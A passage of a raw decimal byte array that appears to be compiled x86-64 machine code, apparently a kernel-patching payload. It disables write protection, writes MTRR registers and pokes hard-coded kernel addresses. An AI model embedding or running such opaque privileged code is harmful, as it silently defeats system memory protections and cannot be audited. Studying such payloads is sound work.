,2,0,0,73,137,202,15,5,15,130,96,0,0,0,195,72,199,192,29,2,0,0,73,137,202,15,5,15,130,77,0,0,0,195,72,199,192,34,2,0,0,73,137,202,15,5,15,130,58,0,0,0,195,72,199,192,79,2,0,0,73,137,202,15,5,15,130,39,0,0,0,195,72,199,192,82,2,0,0,73,137,202,15,5,15,130,20,0,0,0,195,72,199,192,96,2,0,0,73,137,202,15,5,15,130,1,0,0,0,195,137,5,154,109,0,0,72,49,192,72,255,200,195,243,15,30,250,65,85,65,84,85,72,137,245,83,81,156,65,93,250,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,232,156,36,0,0,65,131,204,255,133,192,120,76,190,153,0,0,0,72,141,61,217,47,0,0,49,192,69,49,228,255,21,203,54,0,0,186,6,0,0,0,72,141,53,130,0,0,0,191,153,0,0,0,232,188,35,0,0,49,192,72,141,61,216,47,0,0,255,21,166,54,0,0,72,133,237,116,11,72,141,5,93,0,0,0,72,137,69,0,15,32,192,129,227,0,0,1,0,72,9,216,15,34,192,72,133,219,72,139,5,229,54,0,0,116,7,72,133,192,116,2,255,208,65,85,157,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,72,133,255,116,26,49,192,72,133,246,116,19,72,57,194,116,11,138,12,7,136,12,6,72,255,192,235,240,49,192,195,184,14,0,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,139,70,24,72,133,255,72,137,243,72,141,45,180,255,255,255,72,137,4,36,72,141,5,82,3,0,0,72,137,68,36,16,116,19,72,139,5,33,54,0,0,72,139,45,10,54,0,0,72,137,68,36,16,72,141,61,62,44,0,0,49,192,255,21,230,53,0,0,72,139,75,16,49,192,72,139,83,8,72,141,61,56,44,0,0,76,139,75,32,76,139,67,24,72,139,51,255,21,196,53,0,0,72,139,5,61,54,0,0,72,133,192,72,137,68,36,24,15,132,148,2,0,0,72,139,123,8,232,84,33,0,0,72,133,192,73,137,198,117,25,72,141,61,29,44,0,0,49,192,49,237,69,49,237,255,21,138,53,0,0,69,49,210,235,94,72,139,83,8,72,137,198,72,139,59,255,213,133,192,65,137,196,116,31,72,141,61,11,44,0,0,49,192,49,237,69,49,255,255,21,94,53,0,0,69,49,237,69,49,210,233,76,2,0,0,72,139,4,36,72,141,184,112,128,1,0,232,241,32,0,0,72,133,192,73,137,197,117,34,72,141,61,237,43,0,0,49,192,49,237,255,21,42,53,0,0,69,49,210,69,49,255,65,188,12,0,0,0,233,18,2,0,0,72,137,199,232,74,21,0,0,72,99,208,133,192,72,137,84,36,8,121,24,72,141,61,213,43,0,0,49,192,255,21,246,52,0,0,72,199,68,36,8,0,0,0,0,72,131,60,36,0,116,49,72,139,68,36,8,72,139,123,16,72,139,20,36,73,141,116,5,0,255,213,133,192,65,137,196,116,22,72,141,61,207,43,0,0,49,192,49,237,69,49,255,255,21,183,52,0,0,235,91,65,139,134,56,2,0,0,68,141,120,1,76,137,255,232,80,32,0,0,72,133,192,72,137,197,117,23,72,141,61,187,43,0,0,49,192,255,21,139,52,0,0,69,49,210,233,95,255,255,255,72,137,198,72,139,123,32,72,139,68,36,16,49,201,76,137,250,255,208,133,192,65,137,196,116,23,72,141,61,166,43,0,0,49,192,255,21,90,52,0,0,69,49,210,233,75,1,0,0,72,139,76,36,8,66,198,68,61,255,0,72,3,12,36,72,141,61,155,43,0,0,49,192,72,137,12,36,255,21,48,52,0,0,72,139,115,8,72,141,61,152,43,0,0,49,192,255,21,29,52,0,0,72,139,12,36,72,141,61,169,43,0,0,72,139,83,24,49,192,72,137,206,255,21,3,52,0,0,72,137,238,72,141,61,196,43,0,0,49,192,255,21,241,51,0,0,76,137,246,72,141,61,207,43,0,0,49,192,255,21,223,51,0,0,76,137,238,72,141,61,218,43,0,0,49,192,255,21,205,51,0,0,191,0,16,0,0,232,113,31,0,0,72,139,12,36,72,133,192,117,27,72,137,4,36,72,141,61,209,43,0,0,49,192,65,188,12,0,0,0,255,21,161,51,0,0,235,83,68,139,75,40,76,137,234,72,137,198,73,137,232,76,137,247,72,137,4,36,232,175,8,0,0,76,139,20,36,76,137,246,76,137,215,232,207,8,0,0,72,139,116,36,24,72,141,61,120,12,0,0,232,132,31,0,0,72,139,21,95,51,0,0,133,192,117,21,72,141,61,141,43,0,0,65,188,22,0,0,0,255,210,76,139,20,36,235,63,72,141,61,153,43,0,0,49,192,255,210,72,141,61,198,43,0,0,49,192,255,21,44,51,0,0,72,141,61,239,43,0,0,49,192,255,21,29,51,0,0,235,76,49,237,69,49,210,69,49,237,69,49,246,69,49,255,65,188,2,0,0,0,76,137,254,72,137,239,76,137,20,36,232,246,30,0,0,76,139,20,36,190,0,16,0,0,76,137,215,232,229,30,0,0,72,139,115,8,76,137,247,232,217,30,0,0,72,139,115,24,76,137,239,232,205,30,0,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,108,72,133,246,116,103,76,141,66,255,49,192,128,60,7,0,65,15,149,193,73,57,192,65,15,151,194,69,33,209,73,137,194,72,255,192,65,128,225,1,117,226,72,57,194,76,15,71,192,69,49,201,77,57,200,116,13,70,138,28,15,70,136,28,14,73,255,193,235,238,76,57,210,66,198,4,6,0,119,16,72,133,201,65,184,63,0,0,0,116,24,72,137,17,235,19,69,49,192,72,133,201,116,11,72,137,1,235,6,65,184,14,0,0,0,68,137,192,195,243,15,30,250,65,85,65,84,85,83,72,131,236,24,15,32,192,72,37,255,255,254,255,15,34,192,250,72,139,5,20,50,0,0,185,16,4,224,254,186,32,3,224,254,190,128,3,224,254,72,9,193,199,1,1,0,0,0,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,0,0,1,0,117,235,186,128,4,224,254,190,0,5,224,254,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,255,255,255,255,117,235,72,9,194,199,2,0,0,1,0,186,16,5,224,254,72,9,194,199,2,0,0,1,0,186,32,5,224,254,72,9,194,199,2,0,0,1,0,186,48,5,224,254,72,9,208,186,0,0,16,0,199,0,0,0,1,0,184,0,0,0,1,199,1,0,0,0,0,185,19,4,0,0,15,48,185,8,4,0,192,15,48,250,65,15,32,193,76,137,200,72,37,255,255,255,223,72,13,0,0,0,64,15,34,192,15,9,15,32,216,15,34,216,49,246,65,186,255,2,0,0,68,137,209,72,137,240,72,137,242,15,48,65,184,6,0,0,0,185,0,2,0,0,76,137,192,15,48,187,0,8,0,128,191,255,0,0,0,185,1,2,0,0,72,137,216,72,137,250,15,48,65,187,1,0,0,0,185,2,2,0,0,76,137,192,76,137,218,15,48,185,3,2,0,0,184,0,8,0,0,72,137,250,15,48,185,4,2,0,0,186,2,0,0,0,76,137,192,15,48,185,5,2,0,0,72,137,216,72,137,250,15,48,185,6,2,0,0,72,137,240,76,137,218,15,48,72,99,13,236,32,0,0,186,1,0,0,0,72,193,226,40,72,193,225,30,72,137,200,72,41,202,72,247,216,72,193,234,32,13,0,8,0,0,185,7,2,0,0,15,48,15,9,15,32,216,15,34,216,184,0,12,0,0,68,137,209,72,137,242,15,48,65,15,34,193,251,101,139,4,37,52,0,0,0,133,192,116,11,240,255,5,241,47,0,0,250,244,235,252,72,141,61,188,41,0,0,232,229,10,0,0,186,7,0,0,0,137,208,240,15,177,21,210,47,0,0,117,244,72,141,61,197,41,0,0,232,200,10,0,0,15,32,224,72,37,127,255,255,255,15,34,224,15,32,218,72,139,13,54,48,0,0,72,184,0,240,255,255,255,255,15,0,72,33,194,187,135,0,0,128,72,9,202,72,35,2,72,9,200,72,137,88,16,72,129,195,0,0,0,64,72,199,0,135,0,0,0,72,199,64,8,135,0,0,64,72,137,88,24,49,192,198,0,0,72,255,192,72,61,0,16,0,0,117,242,72,139,29,230,47,0,0,49,192,128,207,16,198,4,3,0,72,255,192,72,61,0,32,0,0,117,241,72,139,5,203,47,0,0,72,141,147,0,16,0,0,72,141,61,81,41,0,0,196,226,248,242,194,72,131,200,7,72,137,3,72,139,21,170,47,0,0,72,193,234,39,129,226,255,1,0,0,72,137,4,211,184,135,0,0,128,72,137,131,16,16,0,0,72,5,0,0,0,64,72,137,131,24,16,0,0,72,199,131,0,16,0,0,135,0,0,0,72,199,131,8,16,0,0,135,0,0,64,232,228,9,0,0,72,139,21,97,47,0,0,102,199,68,36,6,255,7,72,141,131,0,32,0,0,196,226,232,242,208,72,137,84,36,8,72,141,147,0,40,0,0,198,0,0,72,255,192,72,57,194,117,245,72,184,255,255,0,0,0,154,47,0,72,141,61,212,40,0,0,72,137,131,16,32,0,0,72,184,255,255,0,0,0,146,15,0,72,137,131,24,32,0,0,184,153,0,0,0,72,193,224,40,72,137,131,32,32,0,0,232,117,9,0,0,15,183,68,36,6,72,141,13,116,8,0,0,72,139,84,36,8,76,141,108,2,1,72,139,21,0,31,0,0,49,192,72,57,194,116,14,64,138,52,1,65,136,116,5,0,72,255,192,235,237,76,139,37,192,46,0,0,72,141,61,130,40,0,0,196,66,152,242,229,76,3,37,209,30,0,0,232,36,9,0,0,76,139,5,81,46,0,0,185,0,4,0,0,72,139,5,53,46,0,0,72,139,21,142,46,0,0,73,141,172,36,0,2,0,0,72,137,239,76,137,198,73,129,196,0,18,0,0,243,165,196,226,104,242,200,198,133,16,2,0,0,208,137,141,24,2,0,0,72,139,13,6,46,0,0,72,247,210,65,139,184,56,2,0,0,199,133,60,2,0,0,5,0,0,0,72,33,208,137,141,28,2,0,0,72,193,233,32,137,141,196,0,0,0,72,139,13,232,45,0,0,72,193,232,32,68,137,165,40,2,0,0,72,141,119,255,137,133,192,0,0,0,65,33,212,49,192,128,60,1,0,15,149,194,72,57,198,65,15,151,192,72,255,192,68,33,194,128,226,1,117,231,72,57,199,72,15,70,198,49,210,72,57,208,116,13,64,138,52,17,65,136,52,20,72,255,194,235,238,65,198,4,4,0,72,141,61,193,39,0,0,232,77,8,0,0,184,24,0,0,252,72,11,5,197,45,0,0,191,224,0,10,248,72,139,16,72,131,226,254,72,137,16,232,234,24,0,0,191,224,16,10,248,232,224,24,0,0,191,224,32,10,248,232,214,24,0,0,191,224,48,10,248,232,204,24,0,0,191,224,64,10,248,232,194,24,0,0,191,224,80,10,248,232,184,24,0,0,191,224,96,10,248,232,174,24,0,0,191,224,112,10,248,232,164,24,0,0,72,141,61,111,39,0,0,232,219,7,0,0,72,99,13,120,29,0,0,72,184,255,255,255,255,14,0,0,0,72,139,21,71,45,0,0,191,36,32,128,228,190,4,44,128,228,72,193,225,30,72,1,200,72,9,214,72,193,232,24,72,9,215,193,224,16,199,7,0,0,0,0,128,204,15,199,6,0,0,0,0,137,7,184,104,32,128,228,72,9,208,72,193,233,20,199,0,0,4,0,0,184,40,84,128,228,72,9,194,199,6,0,0,0,15,137,10,72,141,61,24,39,0,0,232,102,7,0,0,184,216,134,128,228,72,11,5,222,44,0,0,65,184,0,94,128,228,191,4,94,128,228,65,186,0,0,0,128,190,24,94,128,228,72,199,0,0,0,0,21,184,52,130,128,228,72,11,5,181,44,0,0,72,199,0,0,0,0,80,184,72,208,128,228,72,11,5,162,44,0,0,72,199,0,1,0,0,0,184,72,216,128,228,72,11,5,143,44,0,0,72,199,0,1,0,0,0,184,0,195,128,228,72,11,5,124,44,0,0,72,199,0,0,0,0,0,184,168,193,128,228,72,11,5,105,44,0,0,72,139,16,72,129,226,255,255,231,255,72,137,16,184,32,128,128,228,72,139,13,80,44,0,0,72,9,193,72,139,17,72,129,202,5,0,3,0,72,137,17,72,11,5,57,44,0,0,72,139,16,72,129,226,250,255,252,255,72,137,16,184,96,14,128,228,72,139,13,32,44,0,0,72,9,193,72,139,17,72,129,202,64,1,16,0,72,137,17,185,28,94,128,228,72,11,5,4,44,0,0,72,139,16,72,129,226,191,254,239,255,72,137,16,186,48,94,128,228,72,139,5,235,43,0,0,76,9,192,72,199,0,84,1,0,0,72,139,5,218,43,0,0,72,9,248,76,137,16,72,139,5,205,43,0,0,72,9,240,72,199,0,84,1,0,0,72,139,5,188,43,0,0,72,9,200,76,137,16,72,139,5,175,43,0,0,72,9,208,72,199,0,84,1,0,0,184,52,94,128,228,76,139,13,153,43,0,0,73,9,193,77,137,17,65,185,4,52,129,228,76,11,13,134,43,0,0,73,199,1,1,0,0,0,65,185,12,52,129,228,76,11,13,114,43,0,0,73,199,1,1,0,0,0,76,11,5,100,43,0,0,73,199,0,86,1,0,0,72,11,61,86,43,0,0,72,199,7,240,0,86,24,72,141,61,138,37,0,0,72,11,53,65,43,0,0,72,199,6,86,1,0,0,72,11,13,51,43,0,0,72,199,1,240,0,0,80,72,11,21,37,43,0,0,72,199,2,86,1,0,0,72,11,5,23,43,0,0,72,199,0,240,16,69,1,232,135,5,0,0,72,139,61,4,43,0,0,72,137,238,72,141,76,36,6,72,247,215,72,33,251,72,33,254,72,35,61,132,42,0,0,72,137,218,65,255,213,72,141,61,78,37,0,0,232,86,5,0,0,72,131,196,24,91,93,65,92,65,93,195,243,15,30,250,72,137,61,92,42,0,0,72,137,53,109,42,0,0,72,137,21,86,42,0,0,72,137,13,87,42,0,0,76,137,5,96,42,0,0,68,137,13,193,26,0,0,195,243,15,30,250,49,192,198,4,7,0,72,255,192,72,61,0,16,0,0,117,241,15,182,150,1,2,0,0,49,192,72,131,194,17,138,140,6,241,1,0,0,136,140,7,241,1,0,0,72,255,192,72,57,194,119,234,15,182,151,232,1,0,0,190,0,0,0,128,72,137,208,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,0,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,1,0,0,0,141,80,1,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,0,0,72,199,130,216,2,0,0,0,128,7,0,199,130,224,2,0,0,2,0,0,0,141,80,2,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,8,0,72,199,130,216,2,0,0,0,160,1,0,199,130,224,2,0,0,1,0,0,0,141,80,3,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,160,9,0,72,199,130,216,2,0,0,0,96,0,0,199,130,224,2,0,0,2,0,0,0,141,80,4,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,10,0,72,199,130,216,2,0,0,0,0,2,0,199,130,224,2,0,0,2,0,0,0,141,80,5,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,14,0,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,6,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,16,0,72,199,130,216,2,0,0,0,0,48,0,199,130,224,2,0,0,1,0,0,0,141,80,7,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,64,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,8,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,72,0,72,199,130,216,2,0,0,0,0,32,0,199,130,224,2,0,0,1,0,0,0,141,80,9,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,104,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,10,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,112,0,72,199,130,216,2,0,0,0,128,142,126,72,99,13,147,24,0,0,199,130,224,2,0,0,1,0,0,0,141,80,11,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,254,126,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,4,0,0,0,141,80,12,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,255,126,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,13,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,127,72,199,130,216,2,0,0,0,0,0,1,199,130,224,2,0,0,1,0,0,0,141,80,14,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,199,130,216,2,0,0,0,0,0,96,199,130,224,2,0,0,2,0,0,0,141,80,15,15,182,210,72,107,210,20,72,1,250,72,129,198,0,0,0,96,72,137,178,208,2,0,0,72,129,198,0,0,0,24,72,199,130,216,2,0,0,0,0,0,24,72,193,225,30,199,130,224,2,0,0,2,0,0,0,141,80,16,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,129,198,0,0,0,8,72,199,130,216,2,0,0,0,0,0,4,199,130,224,2,0,0,2,0,0,0,141,80,17,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,1,206,72,137,138,216,2,0,0,199,130,224,2,0,0,2,0,0,0,141,80,18,15,182,210,131,192,19,72,107,210,20,72,1,250,72,137,178,208,2,0,0,190,127,1,0,0,72,193,230,24,199,130,224,2,0,0,1,0,0,0,72,41,206,72,137,178,216,2,0,0,136,135,232,1,0,0,195,243,15,30,250,72,141,61,103,33,0,0,80,49,192,255,21,223,38,0,0,191,2,0,0,0,255,21,132,39,0,0,72,139,61,197,38,0,0,190,0,0,14,0,72,129,207,0,0,14,0,232,123,13,0,0,72,141,61,82,33,0,0,49,192,255,21,173,38,0,0,72,139,61,30,39,0,0,49,201,72,141,53,95,244,255,255,72,137,250,255,21,4,39,0,0,72,141,61,61,33,0,0,49,192,255,21,133,38,0,0,49,192,90,195,250,15,1,17,184,24,0,0,0,142,216,142,208,142,192,142,224,142,232,15,34,218,73,137,252,73,137,245,72,199,199,0,0,0,6,73,137,254,49,210,65,138,148,36,241,1,0,0,72,255,194,72,193,226,9,73,141,52,20,65,139,140,36,244,1,0,0,72,193,225,4,72,1,207,72,1,206,72,131,239,8,72,131,238,8,72,193,233,3,253,243,72,165,252,72,141,37,20,2,0,0,72,131,228,240,106,16,73,129,198,0,2,0,0,65,86,76,137,238,72,203,243,15,30,250,72,131,236,16,72,139,5,241,37,0,0,185,20,224,144,200,186,144,208,3,0,72,9,193,139,49,64,128,230,32,117,4,255,202,117,244,186,0,224,144,200,72,9,208,64,136,56,240,72,131,68,36,8,0,72,131,194,20,72,11,21,187,37,0,0,184,144,208,3,0,139,10,128,225,64,117,4,255,200,117,245,72,131,196,16,195,243,15,30,250,102,64,15,190,199,65,137,248,102,131,248,10,117,10,191,13,0,0,0,232,138,255,255,255,65,15,182,248,235,132,243,15,30,250,73,137,249,65,15,190,57,64,132,255,116,10,73,255,193,232,198,255,255,255,235,237,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,64,128,255,9,141,71,87,119,3,141,71,48,195,72,137,250,137,247,193,239,28,137,241,232,228,255,255,255,65,137,192,72,139,2,137,207,193,239,24,131,231,15,72,141,112,1,72,137,50,68,136,0,232,199,255,255,255,65,137,192,72,139,2,137,207,193,239,20,131,231,15,72,141,112,1,72,137,50,68,136,0,232,170,255,255,255,65,137,192,72,139,2,137,207,193,239,16,131,231,15,72,141,112,1,72,137,50,68,136,0,232,141,255,255,255,65,137,192,72,139,2,137,207,193,239,12,131,231,15,72,141,112,1,72,137,50,68,136,0,232,112,255,255,255,65,137,192,72,139,2,15,182,253,131,231,15,72,141,112,1,72,137,50,68,136,0,232,85,255,255,255,65,137,192,72,139,2,137,207,193,239,4,131,231,15,72,141,112,1,72,137,50,68,136,0,232,56,255,255,255,65,137,192,72,139,2,131,225,15,137,207,72,141,112,1,72,137,50,68,136,0,232,30,255,255,255,65,137,192,72,139,2,72,141,72,1,72,137,10,68,136,0,195,65,87,65,86,65,85,65,84,85,83,82,68,139,103,20,65,190,4,0,0,0,72,137,253,73,137,247,72,141,61,28,31,0,0,68,137,224,37,0,240,255,255,153,65,247,254,68,141,104,240,137,195,68,137,238,49,192,255,21,39,36,0,0,73,99,197,186,56,0,0,0,72,141,188,133,0,1,0,0,76,137,254,232,158,254,255,255,68,137,224,72,99,203,153,65,129,205,0,0,16,0,65,247,254,57,200,126,24,102,131,188,141,2,1,0,0,16,117,8,68,137,172,141,0,1,0,0,72,255,193,235,228,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,249,83,73,137,243,137,213,72,137,203,69,49,210,67,128,60,19,0,116,5,73,255,194,235,244,73,139,57,64,246,199,3,116,12,72,141,71,1,73,137,1,198,7,0,235,235,186,6,0,0,0,72,141,53,130,30,0,0,232,31,254,255,255,49,246,73,131,1,6,76,137,207,232,54,254,255,255,137,238,76,137,207,232,44,254,255,255,49,246,76,137,207,232,34,254,255,255,49,246,76,137,207,232,24,254,255,255,190,1,0,0,0,76,137,207,232,11,254,255,255,49,246,76,137,207,232,1,254,255,255,137,222,76,137,207,232,247,253,255,255,49,246,76,137,207,232,237,253,255,255,49,246,76,137,207,232,227,253,255,255,49,246,76,137,207,232,217,253,255,255,49,246,76,137,207,232,207,253,255,255,65,141,114,1,76,137,207,232,195,253,255,255,49,246,76,137,207,232,185,253,255,255,73,139,57,76,137,210,76,137,222,232,134,253,255,255,77,3,17,73,141,66,1,73,137,1,65,198,2,0,73,139,1,168,3,116,12,72,141,80,1,73,137,17,198,0,0,235,237,91,93,195,243,15,30,250,72,139,15,72,99,214,76,139,5,106,35,0,0,49,192,72,57,194,118,9,198,4,1,0,72,255,192,235,242,72,1,23,49,192,57,198,126,13,69,138,12,0,68,136,12,1,72,255,192,235,239,72,1,23,195,243,15,30,250,72,139,23,49,192,72,139,13,40,35,0,0,198,4,2,0,72,255,192,72,131,248,32,117,243,72,131,7,32,49,192,72,137,198,72,247,222,72,131,248,15,119,7,64,138,116,49,15,235,5,64,138,116,49,47,64,136,52,2,72,255,192,72,131,248,32,117,219,72,131,7,32,195,243,15,30,250,65,84,85,83,72,137,213,72,131,236,16,73,137,204,49,192,72,137,116,36,8,72,137,251,72,141,61,28,29,0,0,255,21,34,34,0,0,72,139,69,0,72,141,12,133,0,0,0,0,76,57,225,116,27,72,139,116,36,8,76,137,226,72,141,61,11,29,0,0,49,192,255,21,250,33,0,0,49,192,235,98,76,139,3,49,192,65,198,4,0,0,72,255,192,72,61,0,1,0,0,117,240,72,139,3,76,137,226,72,141,184,0,1,0,0,72,137,59,72,139,117,24,232,87,252,255,255,65,141,132,36,0,1,0,0,65,137,0,184,1,0,0,8,72,193,224,5,65,199,64,16,16,0,0,0,73,137,64,4,184,1,0,0,0,69,137,96,20,65,199,64,24,0,1,0,0,76,1,35,72,131,196,16,91,93,65,92,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,45,255,255,255,133,192,116,73,72,137,232,199,67,12,7,0,2,0,72,193,232,2,199,67,4,44,0,0,0,137,194,37,255,3,0,0,129,226,0,252,255,255,199,67,32,21,0,0,0,137,83,36,72,141,115,32,137,67,40,72,141,149,224,0,0,0,49,255,232,146,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,201,254,255,255,133,192,116,75,72,184,1,0,0,0,144,0,0,0,199,67,12,7,0,2,0,72,137,67,32,72,184,61,0,0,0,112,2,0,0,199,67,4,52,0,0,0,72,141,149,224,0,0,0,72,137,67,40,72,141,115,32,199,67,48,0,0,0,0,49,255,232,44,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,205,72,139,31,69,137,196,232,96,254,255,255,133,192,116,85,65,131,252,1,199,67,12,2,0,1,0,25,192,199,67,4,48,0,0,0,131,224,9,199,67,36,0,0,0,0,137,67,32,72,137,232,72,193,232,2,72,141,115,32,137,194,37,255,3,0,0,129,226,0,252,255,255,137,67,44,137,83,40,49,255,72,141,149,224,0,0,0,232,185,11,0,0,137,67,28,184,1,0,0,0,91,93,65,92,195,243,15,30,250,72,139,21,218,32,0,0,72,133,210,116,4,49,192,255,226,72,139,5,186,32,0,0,195,243,15,30,250,72,139,21,182,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,226,17,0,0,69,133,192,117,7,72,141,5,22,18,0,0,90,195,72,141,5,13,18,0,0,195,243,15,30,250,72,139,21,129,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,29,27,0,0,69,133,192,117,7,72,141,5,7,27,0,0,90,195,72,141,5,254,26,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,104,2,0,0,49,192,72,137,124,36,24,73,137,254,232,86,255,255,255,72,133,192,117,20,72,141,61,223,26,0,0,49,192,255,21,143,31,0,0,233,254,5,0,0,73,137,196,49,192,232,79,255,255,255,72,141,108,36,24,49,201,186,237,65,0,0,72,141,53,231,26,0,0,72,137,239,72,137,195,232,140,251,255,255,185,32,0,0,0,186,164,129,0,0,72,141,53,207,26,0,0,72,137,239,232,115,251,255,255,72,137,239,76,141,124,36,17,232,164,252,255,255,49,201,186,237,65,0,0,72,141,53,192,26,0,0,232,83,251,255,255,49,201,186,237,65,0,0,72,141,53,177,26,0,0,72,137,239,232,61,251,255,255,72,139,5,180,31,0,0,186,237,65,0,0,72,141,53,163,26,0,0,72,137,239,15,182,64,126,102,131,248,1,69,25,237,49,201,65,131,229,128,65,129,197,0,1,0,0,232,10,251,255,255,186,164,129,0,0,73,99,205,72,141,53,134,26,0,0,72,137,239,232,243,250,255,255,68,137,238,72,137,239,232,235,251,255,255,72,139,21,71,31,0,0,72,133,210,116,4,49,192,255,210,76,141,108,36,32,76,137,255,72,141,21,114,26,0,0,190,7,0,0,0,49,192,255,21,154,30,0,0,76,137,249,72,141,21,98,26,0,0,190,64,0,0,0,76,137,239,49,192,76,141,124,36,96,255,21,123,30,0,0,49,201,186,237,65,0,0,76,137,238,72,137,239,232,139,250,255,255,76,139,13,98,30,0,0,49,192,76,137,76,36,8,232,82,254,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,39,26,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,29,26,0,0,49,192,255,21,29,30,0,0,72,139,67,32,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,44,250,255,255,72,139,75,32,72,141,53,14,26,0,0,73,139,84,36,32,72,137,239,76,139,124,36,24,232,90,252,255,255,133,192,15,132,81,4,0,0,76,137,255,72,141,53,99,15,0,0,232,104,249,255,255,76,139,13,207,29,0,0,49,192,76,141,188,36,160,0,0,0,76,137,76,36,8,232,183,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,188,25,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,130,25,0,0,49,192,255,21,130,29,0,0,72,139,67,40,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,145,249,255,255,72,139,75,40,72,141,53,131,25,0,0,73,139,84,36,40,72,137,239,232,196,251,255,255,133,192,15,132,187,3,0,0,76,139,13,72,29,0,0,49,192,76,141,188,36,224,0,0,0,76,137,76,36,8,232,48,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,68,25,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,251,24,0,0,49,192,255,21,251,28,0,0,72,139,67,24,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,10,249,255,255,72,139,75,24,72,141,53,11,25,0,0,73,139,84,36,24,72,137,239,76,139,124,36,24,232,56,251,255,255,133,192,15,132,47,3,0,0,76,137,255,72,141,53,1,14,0,0,232,70,248,255,255,76,139,13,173,28,0,0,49,192,76,141,188,36,32,1,0,0,76,137,76,36,8,232,149,252,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,184,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,96,24,0,0,49,192,255,21,96,28,0,0,72,139,67,48,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,111,248,255,255,72,139,75,48,72,141,53,128,24,0,0,73,139,84,36,48,72,137,239,76,139,124,36,24,232,157,250,255,255,133,192,15,132,148,2,0,0,76,137,255,72,141,53,38,13,0,0,232,171,247,255,255,76,139,13,18,28,0,0,49,192,76,141,188,36,96,1,0,0,76,137,76,36,8,232,250,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,46,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,197,23,0,0,49,192,255,21,197,27,0,0,72,139,67,56,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,212,247,255,255,72,139,75,56,72,141,53,247,23,0,0,73,139,84,36,56,72,137,239,76,139,124,36,24,232,2,250,255,255,133,192,15,132,249,1,0,0,76,137,255,72,141,53,139,12,0,0,232,16,247,255,255,76,139,13,119,27,0,0,49,192,76,141,188,36,160,1,0,0,76,137,76,36,8,232,95,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,166,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,42,23,0,0,49,192,255,21,42,27,0,0,72,139,3,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,58,247,255,255,72,139,11,72,141,53,112,23,0,0,73,139,20,36,72,137,239,232,211,249,255,255,133,192,15,132,102,1,0,0,76,139,13,243,26,0,0,49,192,76,141,188,36,224,1,0,0,76,137,76,36,8,232,219,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,51,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,166,22,0,0,49,192,255,21,166,26,0,0,72,139,67,8,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,181,246,255,255,72,139,75,8,69,49,192,73,139,84,36,8,72,141,53,244,22,0,0,72,137,239,232,175,249,255,255,133,192,15,132,220,0,0,0,49,201,186,164,129,0,0,72,141,53,219,22,0,0,72,137,239,232,124,246,255,255,76,139,13,83,26,0,0,49,192,76,141,188,36,32,2,0,0,76,13